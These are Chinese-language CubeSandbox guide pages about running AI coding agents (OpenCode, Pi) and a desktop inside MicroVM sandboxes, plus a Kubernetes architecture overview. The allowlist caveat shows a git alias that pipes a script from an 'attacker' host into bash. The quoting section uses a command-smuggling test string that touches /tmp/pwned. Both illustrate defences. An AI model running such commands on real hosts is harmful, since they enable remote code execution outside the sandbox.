24.04.4 LTS，内核 6.18.33.2，glibc 2.39 | 可运行示例：[`examples/opencode-plugin-sandbox`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/opencode-plugin-sandbox) ## 为什么用插件钩子 OpenCode 运行在开发者宿主机上，因此它下发的每条 `bash` 命令都在那里执行， 使用的是开发者本人的权限。 基于 MCP 或 SDK 的沙箱集成，只有在模型*主动选择*调用沙箱工具时才起作用。 普通的 `bash` 调用依然落在宿主上，而且失败是静默的 —— 你往往事后才知道。 OpenCode 的 `tool.execute.before` 钩子可以在工具执行前改写其参数， 这就提供了无条件拦截 `bash` 的位置： ``` OpenCode（宿主） ├── read / write / edit ──────────────────► 宿主项目文件 │ └── bash ──► tool.execute.before ──► exec_backend.py ──► CubeAPI ──► MicroVM (cubesandbox-bash.js) (:3000) ``` 只有 `bash` 被重定向。`read`、`write`、`edit` 仍然作用于宿主文件， 所以 Agent 依旧在编辑真实项目，而它的 shell 命令跑在一次性的 内核、文件系统与网络命名空间里。 另一种设计 —— 把 OpenCode 整个放进沙箱 —— 会让 Agent 失去对工作区、 git 凭据和编辑器状态的访问。只重定向 `bash`，能让 Agent 留在代码所在的位置， 只把危险的那部分挪走。 ## 前置条件 * Cube Sandbox 部署：单机一键安装即可（[快速开始](./../quickstart.md)） * SDK / CLI 依赖：`pip install e2b-code-interpreter`；已安装 OpenCode * 必需环境变量：`CUBE_TEMPLATE_ID`、`E2B_API_URL`、`E2B_API_KEY`、`SSL_CERT_FILE` ## 集成步骤 ### 1. 构建模板 平台在建模板期间会通过 HTTP 探针判断就绪，因此 `--expose-port` 与 `--probe` 是必填的（见[从 OCI 镜像创建模板](./../tutorials/template-from-image.md)）。 ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` 等状态变为 `READY`，然后记下 `template_id`： ```bash cubemastercli tpl list ``` 中国大陆以外请使用 `cube-sandbox-int.tencentcloudcr.com`。 ### 2. 安装 SDK ```bash pip install e2b-code-interpreter ``` Ubuntu 24.04 因 PEP 668 会阻止直接装进系统解释器。请用虚拟环境并告知插件： ```bash python3 -m venv ~/.venvs/cube ~/.venvs/cube/bin/pip install e2b-code-interpreter export CUBE_OPENCODE_PYTHON=~/.venvs/cube/bin/python ``` ### 3. 导出配置 ```bash export CUBE_TEMPLATE_ID=tpl-xxxxxxxx export E2B_API_URL=http://127.0.0.1:3000 export E2B_API_KEY=e2b_000000 # mkcert 把 CA 写在执行一键安装的那个用户的 home 下。 # 如果安装时用的是 root，而你以普通用户运行 OpenCode， # 需要先把该文件复制到可读位置，再指向副本。 export SSL_CERT_FILE="$HOME/.local/share/mkcert/rootCA.pem" ``` 请在启动 OpenCode **之前**导出；之后再导出的变量，编辑器的子进程看不到。 ### 4. 安装插件 OpenCode 在启动时会加载插件目录下所有 `.js` / `.ts` 文件， 所以安装就是放一个文件： ```bash cd examples/opencode-plugin-sandbox ./plugin/install.sh # 项目级：./.opencode/plugin/ ./plugin/install.sh --global # 全局：~/.config/opencode/plugin/ ./plugin/install.sh --status # 查看安装位置 ./plugin/install.sh --uninstall ``` 之后重启 OpenCode —— 插件只在启动时加载。 ### 5. 验证隔离 向 OpenCode 提问： > 执行 `uname -r` 并告诉我内核版本。 再在你自己的终端跑一次 `uname -r` 对比。**两个值必须不同。** 这个差异就是证据：如果是共享你内核的容器，报告的版本会完全一样。 在上表环境中实测： ``` 沙箱内 : 6.6.1199-0009-03_2.0.1 宿主机 : 6.18.33.2-microsoft-standard-WSL2 ``` 另外两个检查： > 执行 `ls /` 并描述你看到了什么。 列出的是沙箱的 rootfs。 > 创建 `/tmp/only-in-sandbox` 并确认它存在。 对模型来说文件存在；在宿主上 `ls /tmp/only-in-sandbox` 会报 「No such file or directory」。 ## 关键代码 ### 钩子实现 整个重定向就是一个钩子。`output.args.command` 是可变的， 赋值即改变实际执行的内容。 下面的片段为了突出这一个思路做了删减，**不是**实际发布的插件： 它省略了「入参缺失或 command 非字符串」的 fail-closed 处理、放行名单检查 与幂等守卫，backend 的解析方式也不同。照抄会得到一个会嵌套改写、 并对已配置放行的命令抛错的插件。请改为安装 [`plugin/cubesandbox-bash.js`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/opencode-plugin-sandbox/plugin/cubesandbox-bash.js)， 那是唯一的规范实现： ```js export const CubeSandboxBashPlugin = async ({ client }) => ({ "tool.execute.before": async (input, output) => { if (input.tool !== "bash") return; // 失败即阻断：后端缺失时阻断命令，而不是回落到宿主执行。 if (!fs.existsSync(BACKEND)) { throw new Error("[cubesandbox-bash] backend not found; refusing to run on host"); } // 原始命令成为单个 argv 元素，其中的 shell 元字符 // 永远不会被宿主 shell 解释。 output.args.command = [ shellQuote(pythonInterpreter()), shellQuote(BACKEND), "--session", shellQuote(resolveSessionId(input)), "--command", shellQuote(output.args.command), ].join(" "); }, }); ``` 三个性质值得单独说明： **失败即阻断。** 若命令无法被安全重定向，钩子抛出异常，OpenCode 随即阻断该调用。 一个会静默回落到宿主的沙箱集成，比没有集成更糟 —— 因为失败是不可见的。 **防注入。** `shellQuote` 用单引号包裹命令，并按 POSIX 惯用法转义内部引号。 以 `echo A'; touch /tmp/pwned; echo '` 为例，宿主 shell 会把改写后的字符串 解析成恰好六个 argv 元素，最后一个就是原文本身，`touch` 不会被执行。 **幂等。** 多个插件可能观察同一次调用，因此当命令已引用后端时钩子直接返回。 ### 保留 session 状态 只有连续命令能共享状态，shell 才好用。后端会包装每条命令， 让 guest 回报最终的 cwd 与环境变量，宿主按 session 存下来，下次调用前恢复： ```python lines = [ "set +e", f"cd {shlex.quote(cwd)} 2>/dev/null || cd {shlex.quote(DEFAULT_WORKDIR)}", *(f"export {k}={shlex.quote(str(v))}" for k, v in env.items()), f"bash -c {shlex.quote(command)}", "__cube_rc=$?", f'echo "{_STATE_BEGIN}"', "python3 -c 'import json,os;print(json.dumps({\"cwd\": os.getcwd(), ...}))'", f'echo "{_STATE_END}"', 'echo "__CUBE_RC__=$__cube_rc"', ] ``` 效果： ``` > cd /workspace/demo && pwd → /workspace/demo > pwd → /workspace/demo （已保留） > export TOKEN=abc123 > echo $TOKEN → abc123 （已保留） ``` 状态存放于 `~/.cache/cubesandbox-opencode/<session>.json`，权限 `0600` （因为可能保存命令导出的敏感值）。session id 在用于文件名前会被净化， 因此无法逃出状态目录。 ### 并发处理 OpenCode 可能同时下发多条 `bash` 调用。同一 session 内的调用通过 `O_CREAT | O_EXCL` 锁文件串行化，并带过期锁回收， 避免崩溃的调用把整个 session 卡死。不同 session 之间并行执行。 ## 注意事项 **每次调用一个 MicroVM，而非每 session 一个。** session *状态*会保留， 但 VM 每次都重建（参考环境下约 1 秒）。让它在调用间保持存活需要常驻辅助进程 或 CubeSandbox 的 pause/resume。 **只有名字恰好是 `bash` 的工具会被拦截。** 钩子匹配的是 `input.tool === "bash"`。 Agent 能触及的其他具备 shell 能力的工具 —— 当前的或未来 OpenCode 版本新增的 —— 都会在宿主执行，且不会被这里记录。升级 OpenCode 后请重新确认这一点。 **`read` / `write` / `edit` 未被沙箱化。** 这是有意为之 —— Agent 必须能编辑项目 —— 但恶意的 `write` 不在本集成的防护范围内。 **Agent 编辑的文件对 `bash` 不可见。** 这是最主要的实际限制。 `write` / `edit` 操作的是宿主上的项目，而 `bash` 运行在一个全新的 MicroVM 里， 其根文件系统并不包含那个项目。所以常见的「改完就跑」循环在这里不成立： `write foo.py` 之后执行 `python foo.py` 会失败，因为沙箱里没有 `foo.py`。 只需要一个可用 shell 的命令不受影响。把项目挂载进沙箱可以解决这个问题， 但同时会放弃大部分隔离性，因此这里有意不这么做。 **放行清单默认为空，它是逃生舱而非小例外。** 匹配只看首个 token， 所以放行 `git` 等于放行所有以 `git` 开头的命令 —— 而 git 可以被用来执行任意 shell： ```bash git -c alias.x='!curl http://attacker/sh | bash' x ``` 这条命令会在宿主上执行，既不隔离也不留日志。模型下发的命令正是本集成要约束的 不可信输入，因此 `git` 不在默认清单里。任何加入清单的命令都必须被当作拥有宿主 权限的完全可信命令。 代价确实存在，这也是清单存在的原因：沙箱有自己的文件系统，在里面执行 `git commit` 操作的是另一个仓库，而不是 OpenCode 正在编辑的那个。 接受这一风险的开发者可以显式开启： ```bash export CUBE_OPENCODE_PASSTHROUGH=git,gh ``` **钩子入参结构不是稳定契约。** session id 的键名在不同 OpenCode 版本间 拼写有差异，因此代码会探测多种变体并提供兜底。若所有已知键名都取不到， 全部 session 会坍缩到同一个状态文件与锁上，cwd 与导出的环境变量会在并发 session 之间互相串扰。命令仍然在 MicroVM 中执行，因此不构成宿主逃逸， 但影响比「只损失复用粒度」更大。 **调用 `exec` 的命令会丢失状态更新。** `exec` 会替换 shell 的进程映像， 连同负责输出状态块的 trap 一起丢弃。此时后端保留上一次的 session 状态， 所以 cwd 与环境变量是过期的、而不是错误的。`exit` 已能正确处理，仅 `exec` 受影响。 **交互式命令不可用。** 输出是被捕获的，任何需要 TTY 的程序 （`vim`、`top`）都不会正常工作。 **需要通配 DNS。** SDK 通过 `<端口>-<sandboxId>.cube.app` 访问沙箱。 一键安装自带 CoreDNS 处理这件事，但某些环境会覆盖 `/etc/resolv.conf`。 WSL 每次启动都会重写，除非 `/etc/wsl.conf` 中包含： ```ini [network] generateResolvConf = false ``` 详见 [HTTPS 与域名解析](./../https-and-domain.md)。 **这里没有配置网络策略。** 如果不希望 Agent 访问任意主机， 请用[网络策略](./../network-policy.md)限制沙箱出网。 ## 测试 ```bash cd examples/opencode-plugin-sandbox node tests/test_plugin.mjs ``` 25 项断言，覆盖命令改写、放行名单、幂等性、session id 处理与引号注入抵抗。 需要 Node 22 或更新版本 —— 插件是放在 `.js` 文件里的 ESM，依赖 Node 自动识别模块语法。 **仅依赖 Node 标准库** —— 不需要 npm install、不需要联网、不需要 CubeSandbox 部署。 注入相关断言会按 POSIX shell 的语义解析改写后的命令， 并检查原始文本是否完整落在唯一一个 argv 元素中。 这比子串匹配是更强的性质：引号处理有误时，payload 会被拆到多个元素从而断言失败。 ## 参考 * 相关文档：[快速开始](./../quickstart.md)、 [从 OCI 镜像创建模板](./../tutorials/template-from-image.md)、 [HTTPS 与域名解析](./../https-and-domain.md)、 [网络策略](./../network-policy.md) * 示例仓库：[`examples/opencode-plugin-sandbox`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/opencode-plugin-sandbox) * 上游项目：[OpenCode](https://opencode.ai/) · [插件文档](https://opencode.ai/docs/plugins/) --- --- url: https://cubesandbox.com/zh/guide/integrations/pi-agent.md --- # Pi Agent 集成指南 在 CubeSandbox MicroVM 内运行 [Pi coding agent](https://www.npmjs.com/package/@earendil-works/pi-coding-agent) （面向终端的 AI 编码 Agent）。本文覆盖镜像构建、密钥注入、出网管控，以及基于快照的会话持久化，配套的可运行示例位于 [`examples/pi-agent-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration)。 ## 集成对象与版本 | 组件 | 版本 | |---|---| | Pi coding agent | `@earendil-works/pi-coding-agent`（通过 `--build-arg PI_VERSION=x.y.z` 固定） | | Node.js | 24（通过 NodeSource 安装） | | CubeSandbox 基础镜像 | `ghcr.io/tencentcloud/cubesandbox-base:2026.16` | | E2B SDK（宿主端驱动） | `e2b`（最新） | | CubeSandbox 平台 | `>= 0.3.0`（pause/resume）/ `>= 0.4.0`（CubeEgress 密钥保险柜） | ## 前置条件 * 已部署 CubeSandbox，CubeAPI 可访问（`http://<node>:3000`）。 * `cubemastercli` 已在 `$PATH` 且已连通集群。 * 构建机装有 Docker，且 registry 能被 Cube 集群拉取。 * 一个 LLM provider 的 API Key。默认 Anthropic；任何 Anthropic 兼容或 OpenAI 兼容端点均可（通过 `ANTHROPIC_BASE_URL` / provider 环境变量）。 * Python 3.10+（宿主端驱动脚本）。 ## 为什么要把 Pi 放进沙箱 Pi 是一个会编辑文件、执行命令、安装依赖的终端 Agent。直接跑在开发机上，Agent 的"爆炸半径"就等于你的开发环境。放进 CubeSandbox 你能拿到： | 关注点 | CubeSandbox 提供 | |---|---| | **隔离** | 每个会话一个 KVM MicroVM，独立 guest kernel | | **可复现** | 每次会话都从同一个 template 快照启动 | | **秒起** | 冷启动 <60ms，N 路并行代价极小 | | **长任务** | `sandbox.pause()` 对 VM + rootfs 打快照，稍后恢复 | | **密钥卫生** | CubeEgress 在链路上注入鉴权头，VM 看不到真实密钥 | | **出网审计** | 每次访问 LLM API 都会记入出网审计日志 | ## 集成步骤 ### 1. 构建模板镜像 镜像在 `cubesandbox-base` 上叠加 Node.js 24 与 Pi CLI，envd 已监听 `:49983`。 ```dockerfile # examples/pi-agent-integration/Dockerfile（节选） ARG CUBE_BASE_IMAGE=ghcr.io/tencentcloud/cubesandbox-base:2026.16 FROM ${CUBE_BASE_IMAGE} ARG NODE_MAJOR=24 ARG PI_VERSION=0.80.3 RUN apt-get update \ && apt-get install -y --no-install-recommends \ ca-certificates curl git gnupg jq less procps python3 python3-pip ripgrep \ && curl -fsSL "https://deb.nodesource.com/setup_${NODE_MAJOR}.x" | bash - \ && apt-get install -y --no-install-recommends nodejs \ && npm install -g --ignore-scripts "@earendil-works/pi-coding-agent@${PI_VERSION}" \ && pi --version \ && npm cache clean --force \ && rm -rf /root/.npm /var/lib/apt/lists/* WORKDIR /workspace EXPOSE 49983 ``` 构建并推送： ```bash docker build --platform linux/amd64 \ -t <your-registry>/pi-agent-cube:latest \ examples/pi-agent-integration docker push <your-registry>/pi-agent-cube:latest ``` ### 2. 注册为 Cube 模板 ```bash cubemastercli tpl create-from-image \ --image <your-registry>/pi-agent-cube:latest \ --writable-layer-size 4G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health cubemastercli tpl watch --job-id <job_id> ``` 任务变为 `READY` 后记下 `template_id`，后续每次 `Sandbox.create()` 都要用它。`4G` 可写层适合中等任务；若 Agent 会安装大型工具链，提升到 `8G+`。 ### 3. 配置宿主端驱动 ```bash cd examples/pi-agent-integration cp .env.example .env # 填写 E2B_API_URL、CUBE_TEMPLATE_ID 以及你的 provider key pip install -r requirements.txt ``` | 变量 | 作用位置 | 说明 | |---|---|---| | `E2B_API_URL` | 本地进程 | CubeAPI 地址（`http://<node>:3000`） | | `E2B_API_KEY` | 本地进程 | 本地开发填任意非空字符串 | | `CUBE_TEMPLATE_ID` | `Sandbox.create(template=...)` | 来自第 2 步 | | `PI_PROVIDER` / `PI_MODEL` | Pi CLI 参数 | 选择 provider 与模型 | | `ANTHROPIC_API_KEY` | `envs=...`（直连）或 CubeEgress 注入（vault） | provider 密钥 | | `ANTHROPIC_BASE_URL` | 传入 exec 环境 | Anthropic 兼容网关（如 DeepSeek） | | `PI_LLM_HOST` | `network_policy.py` | 默认拒绝出网下放行的 LLM host | ### 4. 运行时配置与 API Key 注入 Pi 命令以无交互方式构造：`--print` 表示处理完 prompt 即退出（不启动 TUI，否则会在 E2B exec 通道上挂死），配合显式 provider/model 与 `--mode json` 输出机器可读的 JSONL 事件流；`--approve` 是布尔开关，表示本次运行信任沙箱内的项目本地文件，prompt 作为末尾的位置参数传入。两种密钥流转方式共用同一个模板： **直连方式** —— 逐命令传入密钥。`e2b` 的 `commands.run(envs=...)` 把环境放进 exec 信封，而非 VM 内的持久文件，因此密钥只在该命令执行期间存在： ```python result = sandbox.commands.run( "cd /workspace && pi --print --mode json --provider anthropic " "--model claude-sonnet-4-6 --approve 'do something'", envs={"ANTHROPIC_API_KEY": key}, user="root", timeout=900, ) ``` **保险柜方式** —— 让密钥完全不进入 VM（见第 6 步）。 示例脚本会解析这份 JSONL，默认打印精简转写（助手文本、工具调用、失败项）；加 `--raw`（或设 `PI_STREAM_RAW=1`）可查看原始事件流。 ### 5. 会话持久化（pause / resume） ```bash python resume_pi_agent.py ``` 它在 SDK 层复用了[快照 / 克隆 / 回滚](../snapshot-rollback-clone.md)引擎： * `sandbox.pause()` 对运行中的 VM（内存 + rootfs）打快照并释放算力。 * `Sandbox.connect(sandbox_id)` 恢复时，`/workspace`、Pi 状态目录（`/root/.pi/agent`）及其他文件都完好无损。 > **生命周期注意：** 用 `try/finally` 手动管理沙箱，不要用 `with Sandbox.create(...)` context manager。 > context manager 在 `__exit__` 时会 kill 沙箱，这会让 pause 失效。示例显式创建沙箱，只在 `finally` 里调用 > `sandbox.kill()`。 ```python sandbox = Sandbox.create(template=template_id, timeout=1800) try: run_turn(sandbox, prompt_1) # 写入 /workspace/plan.md sandbox_id = sandbox.pause() or sandbox.sandbox_id sandbox = Sandbox.connect(sandbox_id) assert_state_survived(sandbox) # /workspace + /root/.pi/agent 仍在 run_turn(sandbox, prompt_2) # 继续工作 finally: sandbox.kill() ``` ### 6. 网络与出网策略（密钥保险柜） `network_policy.py` 展示了推荐用于共享集群的模式：默认拒绝出网 + 链路上注入密钥。 ```python # 凭证注入使用原生 cubesandbox SDK(见 security-proxy.md)。 from cubesandbox import Sandbox, Rule, Match, Action, Inject host = "api.anthropic.com" rules = [ Rule( name="allow_anthropic_llm", match=Match(scheme="https", sni=host, host=host), action=Action(allow=True, audit="metadata", inject=[ Inject(header="x-api-key", secret=ANTHROPIC_API_KEY, format="${SECRET}"), Inject(header="anthropic-version", secret="2023-06-01", format="${SECRET}"), ]), ), ] sandbox = Sandbox.create( template=CUBE_TEMPLATE_ID, allow_internet_access=False, # 默认拒绝；规则里的 host 会被自动放行 network={"rules": rules}, ) ``` 效果： * 沙箱内 `printenv ANTHROPIC_API_KEY` 只显示占位值。 * 每次访问 LLM host 都会在链路上被附加鉴权头。 * 其他任何目的地都会被 CubeVS 在 L3/L4 层丢弃（`allow_internet_access=False`），根本无法离开沙箱。 * 每条 allow / deny 决策都会记入出网审计日志。 非 Anthropic provider 时，示例会改注入 `Authorization: Bearer` 头。若某 provider 不接受 header 注入的密钥，可回退到直连方式（`envs=...`）—— 但绝不要把密钥写进沙箱内的持久文件。 ## 使用场景与最佳实践 * **隔离开发。** 把编码 Agent 跑在沙箱内，其文件编辑与 shell 命令无法触及宿主。 * **执行 Agent 生成的代码并回收结果。** 让 Agent 写入 `/workspace`，再通过 `sandbox.files` 或 `commands.run` 读回产物。 * **长任务断点续跑。** 用 `pause()` + `connect()` 给长时间重构打快照并稍后恢复，或从一个快照分叉多个任务变体。 * **把重依赖预装进模板**，而不是运行时拉取，尤其在默认拒绝出网的策略下。 ## 关键代码片段 ### 无交互调用 Pi ```python cmd = ( "cd /workspace && pi --print --mode json " "--provider anthropic --model claude-sonnet-4-6 " "--approve 'Inspect the project, run app.py, and summarize the result.'" ) result = sandbox.commands.run(cmd, envs=pi_env, user="root", timeout=900) ``` ### preflight 版本检查 ```python version = sandbox.commands.run("pi --version", timeout=60) ``` ## 注意事项 * **Node.js 版本。** Pi 需要较新的 Node 运行时；基础镜像自带的 apt Node 偏旧，务必通过 NodeSource 安装（Dockerfile 已如此）。 * **Agent 状态目录。** `/root/.pi/agent` 保存 Pi 的会话缓存。镜像里保持它为空，避免跨租户泄露会话；它在构建时创建但不写入任何凭证。 * **直连方式的密钥留存。** 直连方式（`envs=`）下密钥仅作用于该 exec 调用，但 Pi 可能把 provider 凭证缓存到其状态目录（`/root/.pi/agent/`），会在 `pause()` / `resume()` 后仍留在盘上。对隔离要求高时优先用保险柜方式（`network_policy.py`），密钥完全不进入 VM。 * **CubeEgress CA（Node）。** 保险柜方式要求沙箱信任 CubeEgress 根 CA，基础镜像已把它装入系统 CA 包。 但 Pi 基于 Node.js、忽略系统 CA 库，因此 `network_policy.py` 还会设置 `NODE_EXTRA_CA_CERTS` （可用 `PI_NODE_EXTRA_CA_CERTS` 覆盖）——否则 vault 路径会以 `Connection error` 失败。 * **出网副作用。** 需要 `npm install` 或拉取 MCP 工具的任务，要放行相应 host 或预装进模板。 * **交互式 TTY 功能。** Pi TUI 在 E2B 协议下不可用。请用无交互 `--print --mode json`，多轮对话由宿主脚本驱动。 ## 排错 | 现象 | 可能原因 | 处理 | |---|---|---| | preflight 报 `pi: command not found` | CLI 变更后未重建模板 | 重建镜像并重新注册模板 | | provider 鉴权失败 | 密钥未传入（直连）或缺少 inject 规则（vault） | 传 `envs={...}` 或修正规则的 `sni`/`host` | | `403 Forbidden - CubeEgress` | 默认拒绝且无匹配放行规则 | 把 LLM host（及所需其他 host）加入规则 | | vault 下 Pi 报 `Connection error` / TLS 失败 | Pi 的 Node 运行时忽略系统 CA 库，不信任 CubeEgress CA | 示例已设 `NODE_EXTRA_CA_CERTS`；若 CA 在别处用 `PI_NODE_EXTRA_CA_CERTS` 覆盖 | | 模板创建卡在 `PULLING` | Cube 节点无法访问 registry | 推送到集群可访问的 registry，必要时提供鉴权 | | 就绪探针超时 | 基础镜像缺少 envd | 确认 `FROM ghcr.io/tencentcloud/cubesandbox-base:2026.16` | | `pause()` / `connect()` 报错 | 平台版本过低不支持快照 | 升级 CubeSandbox 平台 | ## 参考 * 可运行示例：[`examples/pi-agent-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration) * 自定义模板镜像：[`docs/guide/tutorials/bring-your-own-image.md`](../tutorials/bring-your-own-image.md) * 从镜像构建模板：[`docs/guide/tutorials/template-from-image.md`](../tutorials/template-from-image.md) * 快照 / 克隆 / 回滚：[`docs/guide/snapshot-rollback-clone.md`](../snapshot-rollback-clone.md) * 密钥保险柜 + 出网管控：[`docs/guide/security-proxy.md`](../security-proxy.md) * Pi coding agent：<https://www.npmjs.com/package/@earendil-works/pi-coding-agent> --- --- url: https://cubesandbox.com/zh/guide/integrations/ubuntu-desktop.md --- # Ubuntu 桌面沙箱 在 Cube 沙箱里跑一个完整的 Ubuntu 22.04 GNOME 桌面，用浏览器打开即可操作。适用于 GUI 自动化、截图测试、Agent 驱动的桌面任务，以及任何需要真实显示器的场景。 ## 你会得到什么 * Ubuntu 22.04，默认 Yaru 主题和左侧 Dock（文件管理器、终端） * 1280×720 的桌面画面，通过 noVNC 在 `6080` 端口输出 * 键鼠、剪贴板、截图均可用 * 可通过 SDK 脚本化：带上 `DISPLAY=:0` 运行命令即可操作 GUI ## 前置条件 * 一个可用的 Cube 集群，且能访问 `cubemastercli` * 本机已安装 Docker，用于本地测试 * `cubesandbox` Python SDK，用于程序化访问 ## 快速开始 ### 1. 构建并推送镜像 ```bash cd examples/ubuntu-desktop docker build -t <registry>/ubuntu-desktop:v1 . docker push <registry>/ubuntu-desktop:v1 ``` ### 2. 创建模板 ```bash cubemastercli tpl create-from-image \ --image <registry>/ubuntu-desktop:v1 \ --alias ubuntu-desktop \ --writable-layer-size 16Gi \ --cpu 4000 \ --memory 8192 \ --expose-port 6080 \ --expose-port 49983 \ --probe 6080 \ --probe-path / \ --allow-internet-access ``` 探针指向 `6080`（noVNC），确保桌面真正起来后才标记沙箱就绪。 ### 3. 打开桌面 ```python from cubesandbox import Sandbox sb = Sandbox.create(template="ubuntu-desktop", timeout=-1) print("桌面:", f"https://{sb.get_host(6080)}/") ``` 浏览器打开打印的地址，就能看到 Ubuntu 桌面。 ## 程序操作桌面 沙箱里的桌面跑在 `DISPLAY=:0`，运行命令时带上这个变量： ```python # 截图 sb.commands.run("DISPLAY=:0 gnome-screenshot -f /tmp/desk.png") print(sb.files.read("/tmp/desk.png")) # 列出当前窗口 sb.commands.run("DISPLAY=:0 wmctrl -l") ``` ## 访问方式 CubeProxy 提供两种方式打开桌面： * **Host 模式**（默认）：`https://6080-<sandbox-id>.cube.app/` — 与 noVNC 默认的 WebSocket 路径兼容，推荐使用。 * **Path 模式**：`https://<proxy>/sandbox/<sandbox-id>/6080/` — 不需要泛域名 DNS，但 noVNC 的 WebSocket 需要带完整路径。可以通过 query 参数 `path=sandbox/<id>/6080/websockify` 传入，或用一个小型反代设置 `Host` 头。 ## 本地测试 推送前，先在本机验证镜像： ```bash cd examples/ubuntu-desktop ./run-local.sh # 打开 http://127.0.0.1:6080/ ``` ## 参考 * 示例仓库：[examples/ubuntu-desktop](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/ubuntu-desktop) * noVNC：<https://novnc.com> --- --- url: https://cubesandbox.com/zh/guide/kubernetes/architecture.md --- # 架构说明 本文说明 CubeSandbox **Kubernetes / Helm Chart** 的交付形态：组件分层、计算面四个 DaemonSet 的分工、安装与启动顺序，以及 DNS / Proxy / Egress 等运行期链路。 安装步骤见 [Helm 安装](./install.md)。计算面镜像升级见 [升级](./upgrade.md)。排障见 [常见问题](./faq.md)。 ::: tip 和「产品架构」的区别 [架构概览](../../architecture/overview.md)讲的是 CubeSandbox **产品组件**（CubeMaster / Cubelet / MicroVM 等）。本页讲的是这些组件在 **K8s 上怎么落盘、怎么调度、怎么启动**。 ::: ## 1. 总体分层 | 层级 | 组件 | Kubernetes 形态 | 主要职责 | | --- | --- | --- | --- | | 控制面 | CubeMaster | Deployment + Service + Secret + PVC/hostPath | 节点注册、模板/rootfs artifact、内置 DB migration、调度/元数据 | | 控制面 API | CubeAPI | Deployment + Service | 对外 E2B 兼容 HTTP API；读写 MySQL；访问 CubeMaster | | 运维后端 | CubeOps | Deployment + Service | JWT 运维 API + WebUI SDK；监听 `0.0.0.0:3010`；读写 MySQL；访问 CubeMaster | | 管理入口 | WebUI | Deployment + Service + ConfigMap | 静态控制台；`/opsapi/`、`/cubeapi/v1/` 反代到 CubeOps（依赖 `cubeOps.enabled`） | | 运维入口 | cubemastercli | Deployment | `kubectl exec` 用 CLI；注入本 Release 的 CubeMaster endpoint | | 依赖存储 | MySQL / Redis / MinIO | 内置 StatefulSet 或第三方 | 业务数据 / Proxy 与 lifecycle 状态 / S3 Volume 后端 | | 计算面 · 运行时 | `cube-node`（Big Pod） | 原生 `apps/v1` DaemonSet | `wait-node-prep` init + 内嵌 network runtime 的 cubelet + 可选 egress / s3lvol | | 计算面 · 产物 | `cube-node-installer` | 原生 `apps/v1` DaemonSet | 将 shim / kernel / guest 安装到宿主机 toolbox | | 计算面 · 节点引导 | `cube-node-bootstrap` | 原生 `apps/v1` DaemonSet | `wait-pvm-host`、`cube-node-init`、写 `node-prep-ready` | | 计算面 · PVM 宿主机 | `cube-node-pvm` | 原生 `apps/v1` DaemonSet（仅 `placement.pvm`） | PVM host kernel 安装（可 reboot）；管理 L0 污点并写指纹 | | 数据面入口 | CubeProxy + 集群 DNS | Deployment；可选改写 CoreDNS | HTTP/HTTPS sandbox 入口；`*.domain` 泛解析 | | 生命周期 | cube-lifecycle-manager | Deployment + ClusterIP | sandbox pause/resume；经 Redis 发现 Proxy 副本 | 默认完整部署： ```mermaid flowchart TB subgraph CP["Control Plane · placement.controlPlane"] CM["cube-master"] API["cube-api"] OPS["cube-ops"] WEB["cube-webui"] CLI["cubemastercli"] MYSQL[("MySQL")] REDIS[("Redis")] MINIO[("MinIO")] PROXY["cube-proxy"] end subgraph CLUSTER["Cluster DNS"] KDNS["CoreDNS · *.cube.app → Proxy Service"] end subgraph PVMN["PVM nodes · placement.pvm"] PVMDS["cube-node-pvm"] PVMREADY["pvm-host-ready fingerprint"] end subgraph COMPUTE["Compute · placement.compute"] subgraph BOOT["cube-node-bootstrap"] WAITPVM["init: wait-pvm-host"] NINIT["init: cube-node-init"] READY["write node-prep-ready"] end subgraph INST["cube-node-installer"] ART["shim / kernel / guest → toolbox"] end subgraph NODE["cube-node Big Pod"] WAIT["init: wait-node-prep（就绪后退出）"] RUN["cubelet + embedded network runtime"] EG["cube-egress + cube-egress-net"] S3L["optional cube-s3lvol"] end end WEB -->|"/opsapi /cubeapi/v1"| OPS WEB -->|"/sandbox/"| PROXY CLI --> CM OPS --> CM OPS --> MYSQL API --> CM API --> MYSQL CM --> MYSQL CM --> REDIS CM --> MINIO RUN --> MINIO PROXY --> REDIS PROXY --> CM KDNS --> PROXY PVMDS --> PVMREADY PVMREADY --> WAITPVM WAITPVM --> NINIT NINIT --> READY READY --> WAIT WAIT --> RUN ART --> RUN RUN --> CM EG --> RUN ``` ## 2. 资源与镜像职责 ### 2.1 控制面 | 资源 | Chart 模板 | 说明 | | --- | --- | --- | | `cube-master` | `templates/master.yaml` | `images.master`；挂载 Chart 渲染的 `conf.yaml`；内置 schema migration | | `cube-master-config` | `templates/master-config-secret.yaml` | `files/cube-master/conf.yaml` 渲染结果 | | `cube-master-storage` | `master.yaml` / `master-pvc.yaml` | 默认 PVC；可选 existingClaim / hostPath / emptyDir | | `cube-api` | `templates/api.yaml` | `images.api`（外部 E2B） | | `cube-ops` | `templates/ops.yaml` | `images.ops`；ClusterIP；bind `0.0.0.0:3010` | | `cubemastercli` | `templates/cubemastercli.yaml` | `images.cubemastercli` | | `cube-webui` | `templates/webui.yaml` | `images.webui` + nginx ConfigMap（上游 CubeOps） | | `cube-secret` | `templates/secret.yaml` | MySQL / Redis / Proxy / MinIO 等密码 | | `volume-cos`（可选） | `templates/volume-cos-secret.yaml` | COS 凭证（`volume-cos.conf`）；`volumeCos.enabled` 时挂到 Master + Cubelet | | `volume-s3` | `templates/secret.yaml`（内置 MinIO 自动填充）/ `templates/volume-s3-secret.yaml`（用户设置 `volumeS3.*`） | S3 凭证（`volume-s3.conf`）；启用内置 MinIO 或设置了 `volumeS3.endpoint` / `existingSecret` 时挂载到 Master + Cubelet | ### 2.2 MySQL / Redis / MinIO | 模式 | 行为 | | --- | --- | | 内置 MySQL | `mysql.host=""` → StatefulSet + Headless Service；可配 `mysql.persistence.hostPath` | | 第三方 MySQL | `mysql.host` 非空 → 不装内置 MySQL | | 内置 Redis | `redis.host=""` 且控制面或 Proxy 需要时安装 | | 第三方 Redis | `redis.host` 非空 → 不装内置 Redis | | 内置 MinIO | `minio.enabled=true` → 部署 StatefulSet + Headless Service（`minio.*` 